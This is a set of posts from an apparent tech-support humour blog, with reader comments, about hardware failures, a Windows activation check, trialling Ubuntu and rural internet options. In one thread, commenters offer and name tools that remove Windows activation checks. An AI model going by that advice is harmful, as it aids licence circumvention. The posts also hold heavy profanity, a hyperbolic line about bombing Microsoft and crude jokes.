Gaggity gaggity :P -rosemetal
Taran - As I recall "GENDER" is based on how you wish to be perceived and "SEX" is your biological makeup... or that just might be my interpretation. -ShujinTribble
Poor Riff. Definitely TMI! Also, most women, who've always been female, would NOT just show off that way. (I know, a few would, but not most.) -sassicatz
BOOB.... er.... OMG! All of a sudden I 'don't' feel like shouting that! 0_0 -TheGhost
I can't stop laughing! My gawd that's funny. I have to say if it ever happened to me, I'd laugh 'till I pissed meself. -CallmeBob
Take it as a compliment, Riff. You were consulted as an expert on the subject of boobs. -concept14
Another reason I work on my own car. -Stryker One
Stryker: Another reason why I take the bus. Now then: "Thank YOOOUUUU!!!" (/Obiglatory Robin Williams) -MadJack
It's a trap! -Ratfor
"Nooooo! I said LUBE job!" -lineswine
You musta been a BAD BOY(tm) in a previous life to have all this negative karma stacked up... -evolvedstarfish
I don't blame him/her/it, Riff - he/she/it was only keeping you abreast of developments. ;-) -Gromit
Gosh, the term "tranny mechanic" has just changed for me. -Tekkie
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93.
Killed In Action - RIP Faithful Dell
Late last night a wave of severe storms rolled through central Indiana. As usual, I was out in the middle of things.
All of a sudden, everything turned a blinding white, and there was a deafening explosion that left my ears ringing. My right ear is still sore from it this morning. Apparently, for the first time since I started doing this in '96, my vehicle took a direct lightning strike.
Imagine my surprise.
Now, being struck by lightning while in a car is not really that big a deal since the vehicle is grounded by the tires. So I really wasn't in any danger. My P3 Dell Latitude laptop that has our weather/radar software installed on it, however, did not fare so lucky. Somehow, and I don't profess to understand it, enough of a charge made it through the AC power inverter and the laptop power adapter to smoke the system board. And I mean smoke quite literally. Wisps of smoke were pouring out of the power plug on the back of the computer.
This laptop has suffered every kind of abuse possible during the past four years, but just kept plugging along. I guess it finally met its match. At least it died in action.
Let the pithy puns and campy comments commence!
[By: RiffRaff]
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We jokingly call them Hell computers, but $diety has verified it to be true!! -unrenowned
KIA. Does it get a full honor guard burial? -jwinc7
It's been "inducted" into the hall of fame. -SalParadise
Actually, the rubber on the tires STOPS the car from being grounded. What probably happened is that the current traveled thru the water that covered the tires from the rain, and when you consider that it takes 10,000 volts to jump a 1 inch gap, that's one helluva jolt yer lappy took -Spyder19
I'll have the band play TAPS. -RandalGraves
Spyder - The carbon that has been added to the rubber in the tires makes them into very large resistors. It is the 'skin-effect' of the metal exterior that protects the people inside. EMP effects are still possible though to anything connected to the electrical system. -TieDyedDinosaur
Sends copy of Dance Dance Funeral. -BarmanVarn
Hey Riff! What model Latitude? I may have a replacement system board you can have.... -VWFtech
C610. -RiffRaff
I'm guessing a Large EM pulse from the bolt is probably what got your laptop. Like an atomic bomb EM pulse but with a direct hit i'm guessing it fried all the circuits. -neuman1812
I think I do have a C610 board sitting around... I'll look tonight. -VWFtech
Now when I was a young man I carried me pack
And I lived the free life of the rover.
From the Murray's green basin to the dusty outback,
Well, I waltzed my Matilda all over.
Then in 1915, my country said, "Son,
It's time you stop ramblin', there's work to be done."
So they gave me a tin hat, and they gave me a gun,
And they marched me away to the war.
And the band played "Waltzing Matilda,"
As the ship pulled away from the quay,
And amidst all the cheers, the flag waving, and tears,
We sailed off for Gallipoli.
And how well I remember that terrible day,
How our blood stained the sand and the water;
And of how in that hell that they call Suvla Bay
We were butchered like lambs at the slaughter.
Johnny Turk, he was waitin', he primed himself well;
He showered us with bullets, and he rained us with shell --
And in five minutes flat, he'd blown us all to hell,
Nearly blew us right back to Australia.
But the band played "Waltzing Matilda,"
When we stopped to bury our slain,
Well, we buried ours, and the Turks buried theirs,
Then we started all over again.
And those that were left, well, we tried to survive
In that mad world of blood, death and fire.
And for ten weary weeks I kept myself alive
Though around me the corpses piled higher.
Then a big Turkish shell knocked me arse over head,
And when I woke up in me hospital bed
And saw what it had done, well, I wished I was dead --
Never knew there was worse things than dying.
For I'll go no more "Waltzing Matilda,"
All around the green bush far and free --
To hump tents and pegs, a man needs both legs,
No more "Waltzing Matilda" for me.
So they gathered the crippled, the wounded, the maimed,
And they shipped us back home to Australia.
The armless, the legless, the blind, the insane,
Those proud wounded heroes of Suvla.
And as our ship sailed into Circular Quay,
I looked at the place where me legs used to be,
And thanked Christ there was nobody waiting for me,
To grieve, to mourn and to pity.
But the band played "Waltzing Matilda,"
As they carried us down the gangway,
But nobody cheered, they just stood and stared,
Then they turned all their faces away.
And so now every April, I sit on my porch
And I watch the parade pass before me.
And I see my old comrades, how proudly they march,
Reviving old dreams of past glory,
And the old men march slowly, all bones stiff and sore,
They're tired old heroes from a forgotten war
And the young people ask "What are they marching for?"
And I ask meself the same question.
But the band plays "Waltzing Matilda,"
And the old men still answer the call,
But as year follows year, more old men disappear
Someday, no one will march there at all.
Waltzing Matilda, waltzing Matilda.
Who'll come a-waltzing Matilda with me?
And their ghosts may be heard as they march by the billabong,
Who'll come a-Waltzing Matilda with me?
-formatCdrive
FCD: Huh?
Riff: If I don't have it, a quick eBay search turned up this: http://cgi.ebay.com/DELL-4P515-Latitude-C510-C610-Inspiron-4100-Motherboard_W0QQitemZ300242031007QQcmdZViewItem?hash=item300242031007&_trksid=p3286.m14.l1318 -VWFtech
The tires don't insulate, the car frame lets the electricity flow around you to the ground instead of through you. And it's much better the laptop died instead of you... -Starfury
Exactly. The car's body creates a Faraday Cage around you to route the electrical charge to ground without going _through_ you. After dropping down from a cloud base 5-10k feet off of the ground without a conductor, the last foot to go from the car to ground is minor. (Of course, you already know this!) The cord for an AC power supply should be like an expressway for the jolt to get to the computer, though. (Think of how many times we've known of a rig that's on $100 surge suppressors that's done in because the little ole' phone line connected directly to the modem). -Voz
What you have to wonder is whether %deity$ was aiming for the laptop - or you. The question is, who is more evil, Riff or Dell? :p <glad you're OK> -TheGhost
:tips 40 gig -ActingUpAgain
Voz- doesn't lightning start at ground level? -HappyCrappy
I'm impressed...not one comment of "1.21 jigga-watts"...oops :( -EtherRabbit
Wow - glad to hear you're ok! Talk about a close call. -teivrann
DAAAAAAAYYYYUUUUUMMMMMM!!!!!!!11 Well, better the lappy than you, right? -MadJack
Happy... are you talking about the main bolt, or the "leader"? -Voz
At one point in time, I had C610 laptops and parts stacked up to the ceiling in my office, then I had them shipped off to be surplused. I did find out that the price the company was charging to purchase from their surplus store was a lot more than what the fair market value was for a C610 -cecil36
FCD plagiarized from a song by Eric Bogle. -MSimmons777
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94.
Windows Genuine Ripoff
Fuckers. Cocksucking fucking Microsoft. I swear, I do not know how they have managed to not have a building blown up in Redmond because of their fucknuggetry.
Usual shit. Swap a hard drive into a different system because a motherboard and PSU fried in the original. Fire it up, install all the different device drivers to get it fully functional, then go to install Critical Updates.
Oh, but wait! Now all of a sudden this system doesn't pass Windows Fucking Geniune Advantage! Oh Noes! It's a pirate! Keelhaul the thieving bastard!
Stupid fucking cocksucking piece-of-shit motherfucking bastards. Eat shit and die in a fire. Cunts.
[By: RiffRaff]
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insert obligatory "so tell me how you really feel?" -SillyGirl
Do you want a complete Deluxe OWA-Kit? -RandalGraves
This is what makes it really amusing to have a Windows XP Pro SP2 CD-image - that requires no verification whatsoever. -Calydor
What's the kit do, RG? -RiffRaff
Knives, and swords... plus rusty, dull, and rusty & dull versions... and instructions on performing Omnislashes, and destructive magic spells. -RandalGraves
Two options: 1- call M$ and "tell them how you really feel". Be warned that since it's a different system, they may tell you you have to purchase another license. 2- Find one of the many little programs that get rid of WGA and WPA. PM me if you need them. -TheGhost
Anything better than MuBlinder? -Divinar
Silly question - did you re-activate it, and did it pass when you did? Since it IS another machine, the WPA file would have the wrong values, so it would fail and "not be Genuine Advantage". -ralphp1024
"one of the many programs that get rid of WPA and WGA". First time I've heard a Linux install called THAT ... -ralphp1024
I have the same problem today - only with a BIOS-locked copy of SBS 2003 on a Smell computer. -TheCyberwolfe
*hands Riff pint of something 'coholic* -rosemetal
Simple legal fix, call M$ and tell them that the M/B fried, and you replaced it, and the O/S is only installed on ONE machine, and answer the question about ONE machine 3 times -Spyder19
I think this will be my new include in c++. #include <tellmehowyoureallyfeel.h> -raneshem
M$ are a bunch of muggle-nuggets. -vacuumtubes
I want to tell him what a cheap, lying, no-good, rotten, four-flushing, low-life, snake-licking, dirt-eating, inbred, overstuffed, ignorant, blood-sucking, dog-kissing, brainless, dickless, hopeless, heartless, fat-ass, bug-eyed, stiff-legged, spotty-lipped, worm-headed sack of monkey shit he is. Hallelujah. Holy shit. Where's the Tylenol? -Biosynthetic
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95.
Who The Frak Designs This Shit?
I just received what is probably the DUMBEST error message while uninstalling a Windows application ever. The basic gist of it was:
"This applications needs to register with the operating system to complete this process. The following program is currently running and may interfere with the registration process (Explorer.exe). Do you want to terminate this process before continuing?
O.o
Let me get this straight: They want me to essentially kill Windows so I can uninstall their software??? WTF?????
[By: RiffRaff]
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You kill it when it's not looking.... -vacuumtubes
I have had some errors during install that basically said the install program was unsuccessful but the installation succeeded. -TieDyedDinosaur
If it's Vista, just be patient. It will kill itself... -ActingUpAgain
Seppuku? -ShujinTribble
"The following error has occurred: Success" is one of my favorites, currently. -illiterate
OK so...to uninstall this program. it must register(install)itself with the OS..but Kill the Main interface application for the OS? Sh!t I just forgot my phone number, didn't need thoses brain cells. -neuman1812
It probably uses shell hooks & the programmer is too poorly designed to know that a reboot is the best way to finish the uninstall. -Grue
I had the same thing happen when trying to uninstall Oracle 10g on a fista machine -Darkwolf
I once had a program (when I was running Windows 98) that when installed, modified the Autoexec.bat file. When I tried to uninstall it, the only file it deleted was Autoexec.bat. -linuxmatt
lmatt - But, now, see? Without that file it won;t run, correct? -ShujinTribble
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96.
Will Wonders Never Cease?
After months of nagging, begging, cajoling, attending software demos, and just plain old making a pain in the ass of myself, $CFO has just approved implementation of an Untangle Gateway on our network. I just got done ordering a brand new Dell PowerEdge server with 4 gig of RAM to put it on. *drool*
For those of you who haven't seen me recommend it before, I'm referring to http://www.untangle.com . I've been using the free version for over a year on my home network, and it is A-M-A-Z-I-N-G free open source software. I highly recommend it for personal or corporate use.
[By: RiffRaff]
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Untangle looks cool, & I'll have to put together a box to try it. Are the hardware reqs you mentioned minimums? Or will the server be multiple-use? -CTYankee
The hardware requirements are written in stone; the software package won't even install if the system doesn't meet specs. And the base OS is Knoppix, so you can install other apps using apt-get from a terminal prompt if you want to. Theoretically, I could run my BackupPC software on the same server, but I get the sense that Untangle is most efficient when run on a dedicated server, especially in a corporate environment with multiple users. -RiffRaff
And no, the system I built wasn't minimum requirements; I deliberately over-designed it to allow for future growth. I'm running my home version on a P4 800 with 1.5 Gig of RAM. -RiffRaff
pretty...I've got an old p3 at home that waiting for a job to do. -neuman1812
Wow, has it really been a year already ? -Spyder19
That's the good news. The bad news is that you now have to bury it. Temperature control and all that... -ActingUpAgain
Looks like Untangle is doing some Linux work for kids http://practical-tech.com/operating-system/linux-for-the-kids-linuxworld-install-fest/ -neuman1812
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97.
Ugh...
I released the magic smoke from a PSU this afternoon while replacing the system board. Not sure what happened; I tested the PSU as part of my initial troubleshooting and it tested fine. Obviously I missed something.
I love the smell of fried silicon in the afternoon...
[By: RiffRaff]
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Is that anything like the smell of a fried RiffRaff after work? -CyBear
CyB - Isn't it a matter of Rif gets fried DURING work? -ShujinTribble
You may not have missed anything - I had a brand new one go poof about an inch from my nose - I was working under the desk, chest on top of the tower, looking over the back of the system to find the power jack - when I plugged it in it made a nice blue flashie! I had to go and sit on the porch for awhile after that. -figglywig
Did it smell brown? -Gerund
I had a very close encounter with some not so magic smoke years ago while working on an Esab welding machine. Somehow my meter probs crossed the 3 phase contacts of a 440 volt contactor. I saw a brilliant blue-white flash, a loud bang, then everything went black except for the afterimage in my eyes. I didn't feel a thing. It blacked out the whole shop, blew off one of the probes, half melted the other and put a black powder on both hands. Whee fun times!!! -atomicbill
.....I flipped the polarity switch on a CB Radio while it was plugged in and turned on in my car at the time... and YES! It was marked with a +/-... and lemme tell ya, it was tough to get that screw out that was holding the plate over the switch so I could do it, too..... -ShujinTribble
Had one at a retail store where the owner was always trying to save money. Bought some really cheap (and cheap looking) IDE controllers (yes, I'm dating myself a bit here) for use in systems. Installed the first one, powered up the machine... and **POW!** the controller chip instantly fried and literally exploded on the controller board. Unfortunately, it took two more explosions to get him to send them all back and get decent ones. -VoiceOfSanity
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98.
When Good Shelves Go Bad
User from Peyton Place 2 notified me yesterday that a shelving unit had fallen on her new Dell Vostro laptop. Got it on my workbench today, along with pictures of what happened. Nice deep 1/4" long gouge in the display, and a plastic retaining clip for the F1 key snapped. That's the cosmetic damage. Haven't gotten into it yet to see if any internal components got damaged as well.
http://www.wizardslab.net/~riffraff/pictures/100_1041.JPG
*sigh*
[By: RiffRaff]
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Irony on the lower right corner of the screen: A note that says "Something good will happen to you...." -vacuumtubes
Maybe the laptop was evil and had just became sentient, so did the shelf, but it was fighting for the forces of Good. Hence the note. -Slartarama
No F1 key? So it's beyond help, then? <LART shelter, pronto!> -Rissa
Actually, I think VT's catch is a good one. I believe the user printed out one of those chain emails and was considering passing it on when the Karma gods smiled on Riff and caused the shelf to fall thus saving him from having to deliver a LART... :-) -virtualchoirboy
It's "the power of Riff". The shelf _was_ the LART! -Voz
My work here is done - Sauder Woodworking -Biosynthetic
I hope you have complete care -colk
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99.
Microsoft Staff Are Good Sports?
Garnered from a link on SlashDot:
http://mozillalinks.org/wp/2008/06/sweet-plugin-microsoft-cake-20-for-firefox-3/
Wow. I think that shows a level of professionalism I would not have expected from Microsoft. Good for them. And giant conga rats to the Firefox team for 8 million downloads in 24 hours. Most impressive.
[By: RiffRaff]
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The cake is a lie. (I swear I thought of it before I saw it in the comments on the source). -veaudaux
Nah, sending a lie is just what I'd expect from Microsoft... -Rissa
They just *had* to have a giant blue e on the cake, eh? -Cyan
I wouldn't touch it. It must be full of bugs, viruses and even worms. <Yuck!> -TheGhost
So, after stealing code, forcing Netscape/Mozilla almost out of business and lying in court about them, they send them a cake. I suppose it's slightly better than a reach-around. -MisterCommon
Hey, Ghost... did you see the YouTube vid of the Portal Theme as done by Eric Shwartz? -ShujinTribble
Viruses, bugs and worms, oh my ! -Spyder19
Always good to appreciate your product's backup plan... since many Microsofties use FireFox because it works better. :) -Mushroom
Funny, they didn't want to swallow something from M$. I can't imagine why. -Stryker One
nice that M$ is providing exploder programmers with alternative employment skills in the hospitality industry -stiffarm
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100.
Taking The Plunge
This morning I am taking the big step (and gamble) of installing Ubuntu on one of Peyton Place's workstations. I've pulled the original drive so I can swap it back fast if disaster strikes, and I'm putting on a VM installation of XP so our Windows-specific software can still run, but I'm restricting network access on XP to our local intranet only.
I have three users who are competent enough to make the switch to Linux with little or no assistance from me; this is the first guinea pig.
Hope this works...
*crosses fingers*
[By: RiffRaff]
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That's a necessary first step. You have to develop the support procedures before you open the gates wide to let loose the 'herd'! -TieDyedDinosaur
Riff - I sugest you use VirtualBox for the VM. It lets you switch to seamless mode so your active apps look like they're running natively in Linux. (not sure if vmware has added that ability) I've been using ubuntu with a VirtualBox XP guest for a year now and have the best of both worlds. XP for company required apps - ubuntu for everything else.... -MeatStick
MS: That's the exact setup I'm going for. In fact, I'm also trying to install some software using the PlayOnLinux Windows emulator, see how far that gets me. -RiffRaff
I know we're not talking about macs, but the mac verison of VMware - Fusion has this feature called Unity which lets you run windows apps or any other app right from the mac desktop. so maybe other flavors offer that as well -areatech
Areatech: That's what seamless mode does; puts the Windows task bar at the bottom of your Linux desktop, so you can run any application, linux or VM Windows, right from the same desktop. Still a little buggy, though, in my experience. -RiffRaff
Don't forget the chicken. -Stryker One
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101.
My "Here's Yer Sign" Moment (NT/OT)
Last night a squall line moved across Central Indiana with heavy rain and high winds. Naturally, I was out in the middle of it. Took a few pictures, but nothing really exciting.
On my way home, I came upon a major intersection where power was out - no traffic lights; no streetlights; no power on at stores; nada. This outage affected 4 intersections, one of which I situated my van to warn approaching motorists of a traffic hazard. I had a visual on 2 of the other intersections, and I could hear if anything happened at the fourth. So I settled down and made myself comfortable.
Now, before I get to my "Here's Yer Sign" moment, allow me to say that technically speaking, no active traffic control is needed in a situation like this. Motorists are supposed to treat an intersection with no functional traffic signals as a 4-way stop. I was merely there as passive traffic control. In addition to my warning lights, a power company truck with its warning lights sat exactly opposite me across the intersection. Nevertheless, the number of drivers who just blasted through that intersection without even slowing down was mind-boggling. I stopped counting after I hit two dozen. I witnessed four near-misses due to this idiocy.
Now, in the middle of this, some fifty-something guy driving a high-end two-seater convertible sports car went through the intersection in various directions about three times. The third time, he stopped next to me and asked in a snotty tone of voice, "Is anyone working on this?"
Now, y'all know me. You know how my mind works. And having some self-righteous, mid-life-crisis asshole make his dissatisfaction known with how his life has been inconvenienced by a power outage by asking me if the great unwashed minions were working to restore power, when a power company utility truck sits not fifty feet away with its lights flashing and spotlights blazing was more than I could take.
So, my response to his "Is there anyone working on this?":
"Nope. The rapture done happened, and that utility truck you see right there is completely abandoned now."
*pause*
"Asshole!"
"Move along, sir."
He, of course, peeled out with much screeching of rubber.
I only wish I would have actually added the "Here's yer sign" coupe de grace, but I figured I was already being unprofessional enough as it was.
The beauty is, this intersection is within walking distance of the new house we're buying, so odds are I will see this idiot again after we move.
[By: RiffRaff]
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Riff: I love you. In a good way so far; but in my next life I want to be a woman and have your children. <ROTFL> -TheGhost
Riff wins. Flawless Victory. Causality. -Seamus
Bill Engvall writes a chapter from the Left Behind series.... -vacuumtubes
TheGhost, won't that make Riff really really old by that point? They say with older plumbing the valves can get stuck.. For that matter, how old ARE you now, Riff? -illiterate
Put it this way: By the end of this year, I will become the answer to life, the universe, and everything. ;~} -RiffRaff
The answer to life, the universe, and everything? Riff is turning into a Walmart?!?! -CyBear
Beautiful! Nicely said /golf clap -rosemetal
Oh, beautifully done! -Seamyst
I just sent orange scones all over the place. I am weeping with joy that you managed to pull that off. I love you. *tosses flowers and chocolates* -AdmiralLaurie
But why did you let Nature do this in the first place? Can't you control Nature? You're inconveniencing me. -Mushroom
If you didn't like the answer, you shouldn't have asked the question. -ShujinTribble
Very nicely done... -PTSTech
"I love you, Dr. Johnson, and I want to have your babies."</blackadder iii> -AmazingKreskin
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102.
Comcast Employs Rule #1
$CFO here at Peyton Place lives in the sticks, and must suffer with a neolithic AOL dial-up connection that sometimes falls below the 14.4 kbps mark. Needless to say, this renders her ability to VPN into Peyton Place's QuickBooks Server null and void.
So today I was tasked with the mission of finding her high-speed alternatives. So, armed with her information, I start researching. On a whim, I try BrightHouse and Comcast, even though I know cable isn't available in her area. However, Comcast's website indicated service was indeed available at her address.
Now, I don't trust Comcast any further than I can get past Kathy's dog to tickle her. So, I called them to verify that what the website was telling me was indeed correct. And I was pretty specific when I spoke to the CSR as to the reason I was calling. She also confirmed that high-speed cable internet was available at $CFO's address.
So, I begin the order process. Make it all the way through to getting a confirmation number and instructions to order installation. Call to schedule the installation, and I'm sure everyone reading this has already guessed what they said. And you're right. "Service not available in that area."
Fucking Comcast. What really pisses me off is that I knew better, and fell for it anyway. Fucktards.
While we're on the topic, does anyone know if the latency involved with satellite Internet would also render any VPN connection into QuickBooks unreliable?
[By: RiffRaff]
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Satellite + VPN = fail. The speed of light is only so fast. -veaudaux
Sat --> No VPN .... PERIOD! You could do a direct dial into your network and try Using Remote Desktop to CFO$'s PC provided they can connect at 28.8/33.6 or better ... but that's your call. -Necros
That's what happens when you live far from civilization: no fast internet. -Starfury
"Tarzan no internet in jungle. Tarzan no pr0n. Tarzan no happy. Cheeta no too happy about it either." :p <Ghost hides in LART shelter. Ghost safe.> -TheGhost
Yup, another confirmation from me. Tried that here and Satellite = no VPN. -Gunpe
My take is that it has to improve to become "unreliable", Riff. VPN over satellite is Teh Suck. And not the Good suck either. But how about maybe a VPN? Or find some place that DOES have high speed internet, and using a wireless link back to $CFO's house? The latter is not cheap, nor would a T1 be cheap - but at least it will be. -ralphp1024
You can VPN over satellite if you have a VPN concentrator. However this solution is neither cheap nor reliable. -Olorin
Is ISDN totally out of the picture? My previous employer paid for our techs to have ISDN until DSL/Cable became available. It was okay, just expensive. -CyBear
Man.. I thought *I* was out in the sticks...... -ShujinTribble
you could try a cell phone provider - use a pcmcia card or something. -compbrat
ISDN is an option I am looking into. It's basically boiling down to ISDN or a cellular broadband account, and she lives in a cellular fringe area. She will be using VPN quite a bit evenings and weekends. Satellite is out. DSL is out. Cable is out. ISDN is barely do-able. I'm open to suggestions here. -RiffRaff
Go ISDN. Basically there are two ways this can work: One, she will have two phone lines that she can connect modems to. Because the digital conversion happens in the ISDN "modem", it basically puts the CO in her house and so she will be able to use a 33.6 modem at nearly full speed. Alternately, if $PeytonPlace wants to spring for an ISDN line as well, she can bond the two channels together and get a pure-digital 112Kbps connection to the office. -chazz
If a faster connection isn't available, have you thought about having a desktop in the local office available that $cfo could RDP into? I don't know if RDP would be any faster than accessing quickbooks directly, but I've found it's a helluva lot faster than some of our database access software here. -Evan
....does the company operate any point-to-point microwave relays? (If you're gunna grasp at straws anyway......) -ShujinTribble
Dial-up over Sat-Phone? http://www.satellite-phone-communication.com/satellite_internet_phone.htm -Stryker One
I'd combine Chazz and Evan's suggestions, Riff - go ISDN with dual-channel bonding, then RDP into a spare office PC. I know it means tying up a spare PC but it'll give you the best performance and stability available. -Gromit
I guess point to point wireless is not an option? That's what we have for the office. Directional antennas = 10mb connection. -SwedishChef
With a booster antenna, cellular might work. talk to evdo-info.com... they may have reports of coverage from that area. -illiterate
That happens too often dammit, and it shouldn't happen. Once I have an address I can enter it and in two clicks of the mouse see if it's serviceable or not. Unfortunately starfish are not mutually exclusive to the customer class. -StylinTechie
I don't know if this is available in most areas, but is wireless broadband available? My service is provided using Canopy Wireless hardware from Motorola.. usually 2.4GHz or 900MHz RF. My ISP has a solar-and-wind-powered relay tower about a kilometer away from me that picks up the broadcast signal from the city and repeats it to me. All the working parts of the modem are outside mounted to the wall - a CAT5 cable comes inside the house, hooks to a power adapter, and then into my router. I have speeds that are faster than cable or DSL in the city. -Jay911
Here is an alternate option that I use here. Set up a $MetaFrame server at $Payton place with dial in modems. Then she can dial in to it directly which give her a KVM connection and all the computing is done on the server. -Gunpe
one more straw on the camel's back.... Quickbooks doesn't behave quickly over a VPN (at least MS Svr2k3-SBS RRAS). I ended up setting up a remote control session to the user's desktop to provide acceptable response time. (DSL-1.5Mbps to cable-???, YMMV) -CTYankee
We've been running on satellite for five years, and I concur: VPN is dodgy at best. Satellite is blazing fast for FTP and email, acceptably quick for HTTP, totally unreliable for anything else. I'd love to play MMOs... But the latency is so bad I may as well be on dial-up, so it's out of the question. -MeanDean
This is why such things need to be arranged face to face, and then double-checked and confirmed with the actual installers before leaving. Preferably with appropriate reference numbers and the names of the rep & installer who confirmed it would be available. -Geminii
Here's another possibility, if there's enough signal for the unit to boost - I use them in the field all the time: http://www.cellantenna.com/repeater/building_repeater.htm -Grue
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103.
Burrkiss Is Fine
Just got a phone call from Burrkiss. He is fine, albeit with 2" of water in his house. They have apparently shut down his city completely; no civilian traffic authorized except for emergencies. He is unable to post due to loss of power/Internet/phones there, so I'm posting for him.
He will keep in touch with me, and I will update as needed.
Any spare thoughts or supplications to the deity of your choice for that area might be good.
[By: RiffRaff]
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It's about time he gets a bath -deskmonkey
but why doesnt his internet work? isnt he wireless? <Starts to head to the lart shelter and turns back> seriously...sending dry karma his way. -gashach
Sending some warm dry karma to all involved. It'll be happier over there - it's really not at home in England... -Rissa
throw that boy a bar of soap -kagewrestler
"just got a phone call...." "loss of power/Internet/phones there..." shenanigans! -neuman1812
Landlines are down; cell towers apparently are not. :~p -RiffRaff
Tell him I've deposited 5 FSP points in his account for "Waterproof Guild" - he'll get it. -ActingUpAgain
He can have all the hot and dry he wants from me. I got plenty in nevada. -drachen
Just let him know that anything found under the water doesn't mean he's stumbled upon a mermaid's treasure trove and he is NOT their land-walking king... That boy needs help. -exzyle2k
Good to know he's okay, at least. Sending hot-and-dry karma his way. -Seamyst
I'll volunteer my time to help if he needs it... send him my best! And I agree... give him some soap! lol -TechnoTherapist
Probably fielding a lot of whining cable customers right now. -illiterate
SOAP?! Geeze, people... send him a power washer! At least he can stand in the path of the water jet as it pumps everything out of his house. (In all seriousness, BEST of luck!) -ShujinTribble
Burrkiss does not need soap. Usually he is the one handing out soap to everyone, and then dropping it "accidentally". Good luck anyway. <... er, with the flood. ... Oh well, good luck with the soap thing also.> -TheGhost
Sending Beer & Porn Karma -unrenowned
Karma boats, or karma liferafts? Hmmmm. Much luck to Burrkiss. -Elfling
Karma-ripper is spooled up and slinging fresh slabs of extra-bouyant karma Burkiss's way! (Not that I'd know which way Burkiss slings his slab. *ahem*) -LoTech
riff, I met burkiss, send him my thoughts. -HappyCrappy
Sadly I would hate to see how many people would think the cable guy should be "emergency" traffic. Hope things get straightened out. -ProfessorFrink
Riff...if he's going to be "in touch" with you...make sure to use protection -Crashville
Tell him we're thinking happy thoughts for him and the family here in RI! And that we want some of his rain since it's so dry and _hot_ out here that rain might cool it off! -taieena
* calls up the "Department of Homeland Karma" * -EtherRabbit
Where In Iowa is burrkiss at? I'm on the IL/IA border....oh @#$%$ tornados in our area will report back -TalensToys
i love you all. GROUP HUG!!!!!! stop touching my ass gromit. -burrkiss
Fragging midwest...tornado passed to the city just a mile south of here. Sorry about that. -TalensToys
Goodta here yer ok, burrky boy. Keep yer head ABOVE water now, y'haer? (g) Seriously, tho, keep the water out, and rest up. I forsee a LOT of OT in your not entirely didstant future,,, -MadJack
Sending a truck load of Kegs-O-Karma. And a couple of beer kegs too! -ecoli
Whoops, posted too soonm, that goes for everyone in the affected area, Talens, Riff, et al (can;t type for shut tiday,) -MadJack
Burrkiss, hope that all dries up soon.
Watch out if you bend over to pick up the soap ;) -THETECHFROMHELL
So... Burkiss is wet and has two inches? That's nothing new. :)
-Mushroom
Okay, 29 comments and not one joke about "water-sports"? You people are slipping. Seriously, good luck and stay safe, Burkiss. -MeanDean
Pass on my best wishes, too! -Grue
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104.
We Have Seen The Enemy, And It Is Us
"Us," as in "us humans." I swear, if Magenta and I hadn't witnessed this for ourselves, I would call bullshit. But we did, and I now know why the terrorists hate us so much. And you know what? I'm not really sure I blame them that much at the moment.
Magenta got off work early today, and showed up at Peyton Place. Since we had car pooled today, she asked my boss if I could "get paroled" early today. Since all of my work was caught up, and the server closet wasn't on fire, she gave the go-ahead.
As we pull up to the stop sign at the corner intersection where Peyton Place sits, I noticed a large dog trotting down the cross street towards us, with a mini-van following it. The woman in the mini-van was calling to the dog, so I assumed it had gotten loose and she was trying to coax it into her car. Naturally, me being a lover of animals, I got out of our car to help.
And it is at this exact moment, boys and girls, roughly 3:50pm EDT, that my last final scrap of hope for humanity, the microscopic speck I have been sheltering deep in my soul for over a decade, died.
I ask the woman if she needed some help catching the dog, and she said:
Wait for it...
"No, I just wanted to get her out of the house so she could get some exercise."
Excuse me???
Yes. With gasoline topping $4/gallon, and obesity becoming a national epidemic because Americans are too fucking lazy to get off their fat fucking asses, she was walking her dog from her car. Without a leash.
Ladies and gentleman, I surrender. I'm waving the white flag. Tossing in the towel. Finished. Giving up. All hope abandoning. Stick a fork in me; I'm done.
Terrorists don't need to attack us. They just need to leave us to our own devices and we'll kill ourselves off for them.
I am fucking ashamed to be an American.
[By: RiffRaff]
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And before anyone plays devil's advocate, I checked: No handicap license plate; no handicap mirror tag; nobody else in the car to assist her. -RiffRaff
A Sign of bad times: When you dog is trying to take _You_ for a walk. -Ratfor
O.O ... -Seamus
Wow. Just. Just wow. -Seamus
Only $4 a gallon? Think yourself very lucky. Downunder it is close to $7 per gallon ($1.60(AU)) per litre. And in the UK I'd imagine it to be closer to $15 per gallon. -Wraith556
should have done the Lampoons vaction deal and tied to the bumper, the human not the dog lol -SGTARKyTEK
Ok, I don't recommend doing this on public roads as this person was doing... But my dog has always loved running beside our car. Given that I can't run at 35-40 kph (a speed he used to be able to maintain). It's one of his greatest joys is to run beside the van, barking, and nipping at the tires when you'd slow down for a corner. Now, this is on top of rollerblading with him, throwing his frisbee, etc. Now, I can't speak to this occasion. But this is something that I have done for years, and will continue to do (though now at slower speeds-as my dog is 11) until my dog can't run anymore. Or at least until he stops begging to run. What i see as the problem here is that this person was obstructing traffic and having the dog run on public streets (dangerous, and hard on their pads). Also possibly illegal depending on local laws (I don't know what the laws involved here were). -cyberblade3001
I used to joke about wanting to move to Canada...I'm thinking it's not so funny anymore. -Starfury
Usually about $10 or $11 in the UK, actually, Wraith -Shaede
Last year on my way to work I saw a BIG dog run across 4 lanes of northbound traffic, and then 4 lanes of southbound traffic before running partway down the embankment on the otherside. As he came back up to cross the highway again, I pulled over, unbuckled, and then lunged across the car to open the passenger door and call out, "Hey boy, wanna go for a ride inthe car?" He came bounding in, and the car door closed behind him. I was pretty relieved he was safe. He was wearing a collar with a whole bunch of vaccination tags on it and one badly dented bone-shaped one that appeared to have a name and owner identifier on it. When I reached for it, his jaws clamped gently but firmly over my wrist with a subtle growl and a vague trembling snarl playing across the ridges of his muzzle. I quietly pulled my hand back out of his mouth, a little disconcerted over what to do, do I call for help, do I drive somewhere, will driving away would upset the not so nice - very big - dog in the front seat of my car. I decided I would call our local humane society and ask - they said come on over and we can have our staff get the dogs information. I did, making sure not to make eye contact witht he dog, who'd made himself comfortable in the seat. I phone the bldg once I got to the humane society and a girl came out with a thin cord leash - the big dog backwards scooted into the backseat at the sight of her. Likewise, after peering into the car at him, she retreated into the bldg to get someone bigger to help. Once she'd gone, large mc bigdog came back into the front seat and leaned way across my lap - whining, begging to be pet, or maybe begging not to go into the humane society bldg. When he leaned - I could read the tag on his collar - Thor's Thundering Hammer - and the owners name and phone number. I called - and they were out and about looking for him, not far from where I'd found him. Once again relieved, this time that I would not have to surrender the monster to the humane officers ; I chauffered my new best buddy - who lounged all over the front seat and my lap back to his owners, who had been worried for days and were more than a lot horrifed to hear of his highway wandering ways.
Here's a little bit of your humanity back, and a big hug to go with it. -Madrigorne
